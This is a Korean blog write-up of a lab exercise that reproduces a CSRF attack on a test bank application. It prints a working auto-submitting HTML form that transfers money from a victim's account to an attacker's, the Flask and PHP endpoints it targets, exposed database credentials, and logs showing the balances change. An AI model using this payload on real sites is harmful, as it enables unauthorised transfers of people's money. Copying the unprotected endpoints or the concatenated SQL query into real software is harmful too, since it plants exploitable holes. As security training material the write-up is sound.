📌 Kali Linux 사용 , python과 Flask를 사용해 공격 시나리오 재현 ( CSRF 취약성 테스트)
CSRF 송금 공격 시나리오
|
* poc코드 사용 : 공격자가 피해자의 브라우저에서 비밀번호를 강제로 변경하게 만드는 코드
1. 칼리리눅스 바탕화면에 3개파일 생성
1) csrf_transfer.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSRF 송금 공격</title>
</head>
<body>
<h1>잠시만 기다려 주세요...</h1>
<form id="csrf_form" action="http://127.0.0.1:8002/transfer_money.php" method="POST">
<input type="hidden" name="from_account" value="693-1602"> <!-- 피해자의 계좌 번호 -->
<input type="hidden" name="to_account" value="652-2588"> <!-- 공격자의 계좌 번호 -->
<input type="hidden" name="amount" value="10000"> <!-- 송금 금액 -->
</form>
</form>
<script>
document.getElementById("csrf_form").submit();
</script>
</body>
</html>
2) transfer_app.py
from flask import Flask, request, send_from_directory
import logging
import mysql.connector
app = Flask(__name__)
logging.basicConfig(level=logging.DEBUG)
def get_db_connection():
try:
conn = mysql.connector.connect(
host="210.217.().()",
database="bank",
user="bankuser1",
password="Bankuser1!"
)
return conn
except mysql.connector.Error as err:
logging.error(f"Database connection error: {err}")
return None
@app.route('/')
def index():
return "Welcome to the CSRF transfer Test App!"
@app.route('/csrf_transfer.html')
def csrf_transfer():
return send_from_directory('.', 'csrf_transfer.html')
@app.route('/transfer_money.php', methods=['POST'])
def transfer_money():
from_account = request.form.get('from_account')
to_account = request.form.get('to_account')
amount = request.form.get('amount')
logging.info(f"Transfer request from {from_account} to {to_account} amount: {amount}")
conn = None
try:
conn = get_db_connection()
if conn is None:
return "Database connection failed.", 500
cursor = conn.cursor()
# 송금 로직
cursor.execute("UPDATE accounts SET balance = balance - %s WHERE account_number = %s", (amount, from_account))
cursor.execute("UPDATE accounts SET balance = balance + %s WHERE account_number = %s", (amount, to_account))
# 사용자 이름 조회
cursor.execute("SELECT user_num FROM accounts WHERE account_number = %s", (from_account,))
from_user_num = cursor.fetchone()
cursor.execute("SELECT user_num FROM accounts WHERE account_number = %s", (to_account,))
to_user_num = cursor.fetchone()
# 사용자 이름 가져오기
if from_user_num:
cursor.execute("SELECT username FROM users WHERE user_num = %s", (from_user_num[0],))
from_username = cursor.fetchone()
from_username = from_username[0] if from_username else "Unknown"
else:
from_username = "Unknown"
if to_user_num:
cursor.execute("SELECT username FROM users WHERE user_num = %s", (to_user_num[0],))
to_username = cursor.fetchone()
to_username = to_username[0] if to_username else "Unknown"
else:
to_username = "Unknown"
conn.commit()
logging.info(f"송금 완료: {from_account} -> {to_account}, 금액: {amount}")
return f"송금이 완료되었습니다: {from_username} ({from_account})에서 {to_username} ({to_account})로 {amount}원이 송금되었습니다.", 200
except mysql.connector.Error as e:
logging.error(f"Database error: {e}")
return f"Error transferring money: {str(e)}", 500
finally:
if conn is not None:
conn.close()
def test_db_connection():
try:
conn = get_db_connection()
if conn:
logging.info("Successfully connected to the database.")
conn.close()
else:
logging.error("Failed to connect to the database.")
except Exception as e:
logging.error(f"Could not connect to the database: {e}")
if __name__ == '__main__':
test_db_connection()
app.run(host='0.0.0.0', port=8002)
3. transger_money.php
<?php
session_start();
// 사용자 인증 체크
if (!isset($_SESSION['user_id'])) {
die("Unauthorized access");
}
/// 고정된 송금 정보 (예시)
$from_account = '693-1602'; // 송금할 계좌 (올바른 계좌 번호로 변경)
$to_account = '652-2588'; // 수취할 계좌 (올바른 계좌 번호로 변경)
$amount = 10000; // 송금 금액 (적절한 금액으로 변경)
// 데이터베이스 연결
$conn = new mysqli('210.217.().()', 'bankuser1', 'Bankuser1!', 'bank');
// 연결 오류 체크
if ($conn->connect_error) {
die("Database connection failed: " . $conn->connect_error);
}
// 사용자 계좌 확인
$user_account = $_SESSION['user_account'];
if ($from_account !== $user_account) {
die("Account mismatch or unauthorized request");
}
// 현재 잔액 조회
$result = $conn->query("SELECT balance FROM accounts WHERE account_number = '$from_account'");
$row = $result->fetch_assoc();
$current_balance = $row['balance'];
if ($current_balance < $amount) {
die("Insufficient balance.");
}
// 트랜잭션 시작
$conn->begin_transaction();
try {
// 송금 로직
$stmt = $conn->prepare("UPDATE accounts SET balance = balance - ? WHERE account_number = ?");
$stmt->bind_param("is", $amount, $from_account);
$stmt->execute();
$stmt = $conn->prepare("UPDATE accounts SET balance = balance + ? WHERE account_number = ?");
$stmt->bind_param("is", $amount, $to_account);
$stmt->execute();
// 트랜잭션 커밋
$conn->commit();
// 거래 기록 로깅
$log_stmt = $conn->prepare("INSERT INTO transaction_logs (from_account, to_account, amount, timestamp) VALUES (?, ?, ?, NOW())");
$log_stmt->bind_param("ssi", $from_account, $to_account, $amount);
$log_stmt->execute();
echo "송금이 완료되었습니다.";
} catch (Exception $e) {
// 오류 발생 시 트랜잭션 롤백
$conn->rollback();
echo "송금 실패: " . $e->getMessage();
} finally {
$stmt->close();
$log_stmt->close();
$conn->close();
}
?>
2. 터미널 에서 (python app.py)실행
#바탕화면(데스크탑) 폴더로 이동
cd ~/Desktop
# 입력 후 -> 브라우저에 127.0.0.1:8002/csrf_transfer.htmll검색
python transfer_app.py
1) MariaDB 서버의 설정 파일 변경
2) 가상 환경 활성화
-> 비밀번호 변경 악용과 동일 (https://cccyj924.tistory.com/45)
- 가상 환경 생성 (python3 -m venv myenv)
- 가상 환경을 생성하면 프로젝트마다 독립적인 Python 환경을 만들 수 있습니다. 이 환경에는 전역적으로 설치된 패키지들이 영향을 미치지 않아서, 특정 프로젝트에 필요한 패키지만 설치할 수 있습니다.
- Kali Linux나 다른 리눅스 배포판에서는 시스템 안정성을 위해 Python 패키지를 전역에 설치하는 것을 제한할 수 있는데, 가상 환경을 사용하면 이를 우회할 수 있습니다.
- 가상 환경 활성화 (source venv/bin/activate)
- 생성된 가상 환경을 활성화하면, 터미널이 해당 가상 환경을 인식하도록 전환됩니다.
- 이렇게 하면 pip install과 같은 명령어로 패키지를 설치할 때, 해당 패키지들이 가상 환경 안에 설치되며, 전역 시스템에는 영향을 주지 않습니다.
- mysql-connector-python 패키지 설치
- transfer_app.py 파일에서는 MySQL 데이터베이스에 연결하기 위해 mysql-connector-python 모듈을 사용합니다. 가상 환경에 이 모듈이 없으면 스크립트를 실행할 때 ModuleNotFoundError 오류가 발생하므로, 이 패키지를 설치했습니다.
- 이제 가상 환경 내에서 mysql.connector를 사용할 수 있어 MySQL 데이터베이스와 상호작용이 가능합니다.
- cd ~/Desktop
- transfer_app.py 파일이 Desktop 폴더에 있기 때문에, 해당 폴더로 이동해 python transfer_app.py 명령어로 스크립트를 실행할 준비를 합니다.
- python transfer_app.py 스크립트 실행
- 모든 준비가 끝난 후, 스크립트를 실행하여 mysql.connector와 같은 필요한 모듈을 이용할 수 있게 됩니다.
- 가상 환경에서 실행함으로써, 필요한 패키지들이 정상적으로 설치되었는지 확인하고, 코드가 오류 없이 작동하는지 테스트합니다.
3. CSRF 테스트 페이지 열기 ( 127.0.0.1:8002/ csrf_transfer.html )
✅ filre fox 브라우저 -> 127.0.0.1:8002/ csrf_transfer.html
-> 127.0.0.1:8002/transfer_money.php로 리디렉션
- 페이지 로드: 사용자가 csrf_transfer.html 페이지에 접속하면,
- 자동 제출: JavaScript 코드가 실행되어, 사용자가 따로 클릭하지 않아도 폼이 자동으로 제출
- 요청 전송: 이로 인해 transfer_money.php 경로로 요청이 전송되어 송금 요청이 이루어진다.
- 결과 확인: 서버는 요청을 처리하고 로그를 기록하게 되며, 성공적으로 송금이 되면 브라우저에 결과가 표시
-> 사용자의 직접적인 행동 없이 공격자가 설정한 요청이 서버에 전송
4. csrf 공격 확인 ( 서버 로그 확인)
1) 터미널 로그: Flask 애플리케이션이 실행되고 있는 터미널에서 로그 메시지를 확인
INFO:werkzeug:127.0.0.1 - - [27/Oct/2024 23:27:27] "GET /csrf_transfer.html HTTP/1.1" 200 -
INFO:root:Transfer request from 693-1602 to 652-2588 amount: 10000
# 비밀번호 송금 요청이 수신되었음을 보여준다.
INFO:root:송금 완료: 693-1602 -> 652-2588, 금액: 10000
INFO:werkzeug:127.0.0.1 - - [27/Oct/2024 23:27:27] "POST /transfer_money.php HTTP/1.1" 200 -
2) 브라우저 : 요청이 성공적으로 처리되면, 브라우저에서 다음과 같은 메시지를 포함하는 페이지가 난다
✅ 송금 요청이 성공 되었음을 알리는 메시지:
(송금이 완료되었습니다: yujinchoi (693-1602)에서 송금 (652-2588)로 10000원이 송금되었습니다.)가 나타난다면,
CSRF 요청이 성공적으로 처리된 것
3) 데이터베이스 확인
┌──(kali㉿kali)-[~]
└─$ mysql -u bankuser1 -p -h 210.217.27.205 -D bank --skip-ssl
✅ username : yujinchoi ( user_num : 2) , trantest ( user_num : 274) 확인
✅ 초기 설정 정보
사용자 - user_num : 2 (20000원)
공격자 - user_num : 274 (50000원)
✅ 공격 후 변화
사용자 - user_num : 2 (10000원)
공격자 - user_num : 274 (60000원)
'project' 카테고리의 다른 글
wapiti (0) | 2024.11.12 |
---|---|
프로젝트 ( bank 웹 애플리케이션 - Metasploit을 활용) (0) | 2024.10.28 |
프로젝트 (bank 웹 애플리케이션에서 CSRF 공격 시뮬레이션 - 비밀번호 변경 악용) (0) | 2024.10.25 |
프로젝트 (bank - 웹 모의해킹 / OWASP Zap 사용) (0) | 2024.10.23 |
project프로젝트 (bank 모의해킹 - 웹 모의해킹 / BEEF 사용) (0) | 2024.10.21 |